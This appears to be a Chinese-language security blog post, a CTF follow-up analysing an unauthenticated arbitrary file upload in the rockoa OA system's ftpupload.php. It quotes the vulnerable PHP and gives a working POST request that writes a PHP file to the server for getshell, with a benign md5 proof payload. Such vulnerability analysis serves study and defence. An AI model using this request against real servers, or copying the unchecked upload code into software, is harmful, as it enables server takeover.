wonderkun's|blog

share with you!

04/20
14:53
hack_ctf

rockoa 任意文件上传

在玩华山杯的时候主办方给弄了一个不知名的rockoa,ctf下来之后又看了一下代码,发现漏洞真是不少,这里看一个任意文件上传getshell的漏洞
在 /mode/upload/ftpupload.php中,

<?php /** 上传远程文件 */ if(!$_POST)exit('sorry!'); include_once('../../config/config.php'); $filepath = $rock->post('filepath');
$filename	= $rock->post('filename');

//判断目录是否存在
if(!$rock->isempt($filepath)){ //
	$zpath	= explode('/', $filepath);
	$mkdir	= '';
	for($i=0; $i<count($zpath); $i++){ if(!$rock->isempt($zpath[$i])){
			$mkdir.='/'.$zpath[$i].'';
			$wzdir = ROOT_PATH.$mkdir;//目录不存在
			if(!is_dir($wzdir)){
				mkdir($wzdir);
			}
		}
	}
}
$path		= ROOT_PATH.$filepath.'/'.$filename;
echo $path; 

$content	= $rock->post('content');

echo base64_encode('<?php echo md5(1)?>'); 

if(!$rock->isempt($filename) && !$rock->isempt($content)){
	$a64basec	= base64_decode($content);
	file_put_contents($path, $a64basec);
}

可以看到这里不仅没有用户身份判定,也没有文件类型过滤,这就是传说传说中的任意文见上传吧

post

filepath=&filename=tes1t.php&content=PD9waHAgZWNobyBtZDUoMSk/Pg==
echo base64_decode("PD9waHAgZWNobyBtZDUoMSk/Pg==") 
//<?php echo md5(1);?>

这样就上传了任意文件,getshell了